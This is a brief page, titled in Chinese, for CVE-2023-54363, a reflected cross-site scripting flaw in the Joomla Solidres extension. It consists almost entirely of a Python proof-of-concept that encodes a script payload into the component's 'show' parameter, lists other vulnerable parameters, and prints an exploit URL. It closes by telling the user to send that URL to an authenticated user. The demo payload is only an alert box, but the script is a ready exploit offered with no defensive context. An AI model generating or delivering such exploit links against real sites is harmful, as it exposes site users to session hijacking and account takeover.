CVE-2023-54363 Joomla Solidres反射型跨站脚本漏洞

# PoC Code for CVE-2023-54363 # Demonstrates Reflected XSS in Joomla Solidres import urllib.parse def generate_exploit_url(base_url): # The vulnerable parameters identified in the advisory vulnerable_params = ['show', 'reviews', 'type_id', 'distance', 'facilities', 'categories', 'prices', 'location', 'Itemid'] # Simple JavaScript payload to demonstrate vulnerability payload = '<script>alert("CVE-2023-54363 XSS")</script>' # Using 'show' parameter as an example params = { 'option': 'com_solidres', 'view': 'base', 'show': payload } # Construct full URL query_string = urllib.parse.urlencode(params) exploit_url = f"{base_url}?{query_string}" return exploit_url if __name__ == "__main__": target = "http://example.com/index.php" print(f"[+] Exploit URL: {generate_exploit_url(target)}") print("[+] Send this URL to an authenticated user to trigger the XSS.")